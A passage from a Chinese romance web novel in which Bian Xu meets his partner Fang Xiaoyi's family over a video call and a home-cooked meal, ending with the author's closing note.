边煦笑他:“可以了,又不是上门,还要十样八样吗?” 方笑贻一想也是,便就这样了,准备明天商场开门了去买。 结果没多久,方雪晴一个视频打过来,计划登时翻盘了。 她的视频是8点出头来的,当时方笑贻躺在沙发上看《加密货币陷阱》。 这书是边煦的,但买家此刻不在这边,吃过晚饭就到804干他的副业去了。 因为他的缘故,方笑贻最近也留意起了稳定币,看见它出现在了央视《世界周刊》的专题里,说是新的“货币战争”啥的,那趋势看着还真不小。 方笑贻刚看到:[一旦你把钱投资到某件事上,你就会有一个心理障碍,很难相信自己被骗……] 手机就标志性的“铛铛”了起来,他凑头一看,接了视频。 对面,方雪晴依然是杏眼蛾眉,但理了头挂耳短发,妆容精神、目光沉静,气质已然大变。 她人回万樾府了,背景是沙发的客厅墙,也不爱打手语了,眉眼一弯,发来一排文字:[忙啥呢?] 方笑贻跟她开着视频打字:[没忙,看闲书呢] 方雪晴又问他:[明天回家吃饭不?] 方笑贻刚要说不回,并延伸出去在想措辞,怎么把边煦交代出来。 方雪晴又发来一句:[妈买了两条野生的乌鱼,给你养着呢] 与此同时,边煦的声音也忽然从玄关那儿冒了出来。 “方笑贻,我那个西数的硬盘……” 他问在不在茶几上,方雪晴听不见,完全没反应。 但方笑贻得回话,然后王玉华又在镜头里闪现,审视而好奇地问他:“谁在你屋里?我怎么听着是个男的哪。” 方笑贻一时都不知道该先理哪个了,只能哭笑不得。 边煦的存在还未经铺垫,就“暴露”了。 但又暴露的不够彻底,至少王玉华就不知道、也从没想过,儿子屋里的男人会是他。 所以当边煦进入摄像头,冲她俩点头致意时:“阿姨、姐,晚上好,是我,好久不见了。” 对面的2张脸都跟见了鬼一样,直接呆住了。 那种期待的冷却是这样明显,令边煦心里有点难过,不过他脸色没什么变化。 倒是方笑贻最没心没肺,笑着打破了沉默:“干嘛呢,被帅呆了啊?” 王玉华这才回过神来,神态纷乱、语无伦次道:“哦、呃,那个,边、边煦,是你啊。” 边煦冲她微笑:“阿姨,是我。姐。” “你……”王玉华脑子里全是乱麻,心情也是一锅无暇梳理的乱炖,“你几时回来的?咋在方笑贻那儿呢?” 她平时喊的都是“方儿”,这会儿叫的却是全名,可见内心是严肃的。 边煦便也郑重地说:“我是上个月16号回来的,专门回来找他的。” 王玉华眉心霎时一蹙。 她是过来人,看得出他俩已经住一块了,然而方笑贻什么都没跟她说,这隐瞒令她失落。加上边煦又是破产失踪的,她总是很难不瞎想:儿子就是怕她反对,才不说的。 王玉华注视着屏幕里的边煦,心想:这孩子还背着债吗?还欠多少? 但当着边煦的面问,又有违她善良的秉性。 于是王玉华沉默一瞬,来了一句:“哦,你明天空吗?要不要跟方笑贻一起,来家里吃饭?” 可是明天已经约了去看盛芝兰,方笑贻扭头,本想跟他对视一眼,看个姿态。 结果边煦根本没看他,对着屏幕在那儿当24孝好女婿。 “空的,好,谢谢阿姨,明天见。” 由于屏幕里多了个人,王玉华唠不自在,很快挂了。但在挂断之前,边煦看见方雪晴笑了下,又拿手比划了两下。 那个笑容颇为和气,手语的意思边煦也还看得懂,她“说”的是:明天见啊,小边—— 【正文完】 第84章 翌日上午10点36,边煦提着一堆东西登门了。 但方笑贻家的门不用敲,因为没关,有个少年坐在两个单元之间的连廊上玩平板,看见他俩,立刻喊了声“舅舅”,站了起来,然后一个劲地盯着自己看。 这就是当年那个抱着方笑贻的小腿,偷瞄自己的鼻涕孩子了。 边煦虽然在方笑贻手机上看过他的照片,实际看到他,也还是有种“居然这么大了”的感触。 方想浓眉大眼的,细看才鼻子那块才有点像方笑贻。不过比例遗传上了,腰高腿长,看起来已经有了大高个的雏形。 边煦冲他笑了笑。 小孩哥也很上道,立刻来了句:“哥哥好。” 昨晚打视频的时候,他在书房玩五子棋,因此还没见过边煦。但他记得这张脸,因为它是自家舅舅衣柜抽屉的那个月饼盒子里,那些塑封过的拍立得照片里的人。 这人看起来成熟了些,但五官还是那样。 方想在心里一撇嘴角,少年老成地心想:怪不得自己舅舅找不到对象,要找个颜值差不多的,还真是不太容易…… 方笑贻还不知道他在心里吐槽自己是颜狗,被他狗腿笑了:“还哥哥,叫叔叔。” 方想觉得把人喊老了,但挺给他面子,立刻又说:“叔叔好,欢迎光临。” 他嘴还挺甜,边煦从手里分出两个礼盒,递给他说:“谢谢想想,来。” 无功不受禄,方想露出少年人的拘束,摇了下头。 “拿着吧,”方笑贻开口说,“人家专门给你买的,你不要,我们也用不上。” 方想乜了下眼睛,给了他一个“真嘟假嘟”的眼神。 方笑贻横了他一眼。 方想这才谢过边煦,乖乖把东西接到了手里。然后他垂眼一瞥,就见那个棠红色的纸袋里是个围棋木盒,但那个重量又比塑料的重不少。 是啥棋子?方想其实挺想看的。 他有点下五子棋的爱好,段位也混上了5-1。正好拼多多买的那套塑料棋子,这么多年也下碎了一堆,补充子的手感又不如老的,他正琢磨买套新的拉倒。 人家就来“碰上瞌睡递枕头”了。 虽然,这消息绝对是他舅舅泄密的,但钱是帅哥出的,方想称心地一呲牙,横溜到门口喊道:“奶奶,舅舅跟叔叔来了。” 王玉华很快跑出来,身上还系着件细格子围裙。 她一抬眼,看见边煦又提着一堆红底带花的盒子,笑了下,对自己说:“阿姨,我又来打扰了。” 王玉华看着他的脸和手,实在摆不出冷漠的嘴脸。 这孩子生得实在英俊,人一看,又跟落魄不沾边,王玉华心里就放心了一大半。 她其实不需要边煦多有钱,只要没负担就行。加上边煦又爱送礼,礼跟以前一……不,比以前还夸张。 伸手不打笑脸人+礼多人不怪,王玉华消受不来这套组合拳,只好也笑笑,没话找话地埋怨起来。 “人来就行了,又买这么多东西干嘛?乱花钱。” 边煦像个听话的女婿,说:“知道了,下次不这样了。” 这意思是还要来的,王玉华听懂了,但没给反应,只说:“进来吧,我还开着油锅呢,我得赶紧回厨房了。” 方笑贻懵道:“怎么还开上油锅了?” “炸鱼啊。”王玉华说着小跑着走了。 边煦嘴上没献殷勤,稍后进了屋,放下东西后,却是直接去了厨房。 王玉华一转身看见他,还不只是在门外看看那种架势,登时愣了下:“你咋到这儿来了,方笑贻呢?” 边煦往客厅一指:“他在放东西,我来看看,您有什么需要帮忙的没有。” 王玉华心说:就是需要,也不能喊你帮啊。 可脸色又不自觉柔和了一分,她秉性如此,天生待见勤快的人。 “没有,”王玉华赶他道,“没什么需要帮的,你去客厅坐着吧。” 说话间,她还拿着筷子在锅里翻鱼,边煦一瞥料理台,上面也确实齐整干净,愈发显得她游刃有余。 边煦还想找点活,王玉华却撞见他在看锅,以为他想吃鱼,本能从簸箕里夹了条鱼给他。 边煦愣了两秒,才反应过来误会大了。 他心里好笑,但没解释也没拒绝,只伸手捏住了鱼脑袋,说:“我没洗手。” 王玉华顺势就把他赶走了:“去洗脸池那边洗,方想,来,带叔叔去洗手.寓.w.言.” 很快,边煦被方想拉到客厅,半路遇上方笑贻打劫,一口就把他手里的鱼啃了一半。 边煦问他:“好吃吗?” 方笑贻说:“不好吃。” 边煦“哦”了一声,接着就把剩下半条塞嘴里了。 方笑贻嘴都凑过去了,结果扑了个空,只能笑着捣了他肚子一下。 这一串互动跟少儿不宜无关,但却很亲密。 方想从没见过他舅舅跟人这样……黏糊,不由新奇地看了他俩好几眼。 等洗完手回来,边煦才终于发现不对劲,偷偷问方笑贻:“你姐呢?” 结果这悄悄话被竖着耳朵的方想听见了,他插嘴说:“她去超市买藕了。” 方笑贻说:“买藕干啥?” 方想:“炸藕条。” 方笑贻立刻看了边煦一眼,因为这玩意他们全家都不来电,只有边煦爱吃。 藕条得稍微切细一点,糊挂稀些、加点葱花,再炸得焦些,装在不锈钢盆里能摇响的程度。 那些记忆那样琐碎,方笑贻都没料到自己还记得,但是此刻,它们却像是石头缝里的山水,涓涓滴滴地从记忆里渗了出来。 然后这种被埋藏在日常里的细节,就像柔风拂过心脏,令方笑贻不自觉笑了下。 笑完他拿下巴挑方想:“你怎么不去?” 方想叹了口气:“我也想去啊,都防着我呢,怕我在蛋糕店买东西吃。” 方笑贻嗤笑一声:“这能防得住你什么?” 如果边煦不在,方想肯定会嘚瑟,但人家在,还那样体面,他也得给老方家争点面子,只能端庄地说:“哼。” “哼屁,”方笑贻扒了他头一下,又使唤他,“去烧水泡茶。” 方想敢怒不敢言,偷偷瞪了他一眼。 方笑贻看见了,又指着边煦收买他,蛐蛐道:“去,把大款伺候高兴了,一会儿给你买蛋糕吃。” 边煦确实像个大款,但方想可不好意思让人家买,不满道:“你怎么不给我买?” 方笑贻理直气壮:“我给你买了会挨骂,他不会。” 边煦服了:“……也会,区别只在你是当面被骂,我是背地里。” 方想觉得他还挺幽默,笑了半天,笑完又要跟边煦下五子棋。这是王玉华提前交代给他的任务,美其名曰,让他招呼客人。 但实际上,她只是想把边煦绊在客厅里,自己把方笑贻喊去问话。 五分钟后,方想跟边煦开始了第4局。 他们用的是方想的老棋具,优势起先也一面倒地在他这边。 方想别看年纪小,但下五子棋已经有七、八年了,段位也刷到了5-1,对付专业的不行,但虐一般人就像切菜。 边煦一上来就输了两盘,还挺快,因为他基本没下过这个。不过第3局时间就被拉长了几倍。 方笑贻看了两盘,见他跪得那么快,觉得没看头,还没等到转机,就跑到厨房去偷东西吃了。 这边,王玉华还在炸小黄鱼。 方笑贻爱吃这个,她原本也只打算炸这个,但鱼都调完糊了,她才想起只炸一样吃亏,干脆一不做二不休,决定把大家爱吃的全炸上。 方雪晴就是因为这样,此刻才不在。 王玉华等的也就是他,立刻把推拉门梭牢了,在油烟机的轰鸣里阴阳怪气。 “方笑贻啊方笑贻,你的个人情况,我是不配知道吗?” 方笑贻简直哭笑不得:“妈,瞎说啥呢。” 说完又简单地跟她掏心掏肺,从边煦闪现说到他过敏。 王玉华一听边煦人都差点没了,又也心软了,再随便问了问他的经济状况。 方笑贻知道她在担心什么,安慰道:“放心吧,债都还完了,还有存款,会赚钱的很,得赶紧抓牢了。” 说着,他还做了个抓的动作。 王玉华白他一眼说:“靠什么抓?你俩又没个娃。” 方笑贻从没想过,要靠孩子来捆绑边煦,他找了这个人那么多年,但也没想过那么远。 此刻被问,也只能随心地笑道:“靠命啊。” 王玉华一听,却居然没说他不靠谱。 这两人,分开这么久还能凑一块儿,大概还真是命该如此。 这天,边煦在方笑贻家吃了两顿饭,桌上的藕条、糖醋小排、nfc的蓝莓易拉罐装果汁,都是他没在这边提过,但确实爱吃的。 他也陪方想下了半天棋,进步速度之快,让方想已经开始抠脑壳,并惦记着问他,下次几时再来了。 边煦看了方笑贻一眼,方笑贻说:“下周末吧。” 稍后回到车上,方笑贻还掏了个厚厚的红包出来,递给了边煦。 边煦猜到了,这应该是王玉华给的,但还是明知故问:“这什么?” 方笑贻眉眼弯弯道:“我妈给儿媳妇的见面礼。” 边煦心里像是被什么柔软的东西戳了下,没接红包,但拉过他那只拿着红包的手,凑到嘴边亲了一下。 “谢谢咱妈,回家吧。” 方笑贻看着他,“嗯”了一声。 天边的月亮落进后视镜里,圆圆满满,正是十五—— ——正文完—— 作者有话说: 啊抱歉我迟到了! 正文就到这里,因为实在不知道写啥了,但番外我还会写的。这篇写的很不好,感谢还在陪我的人~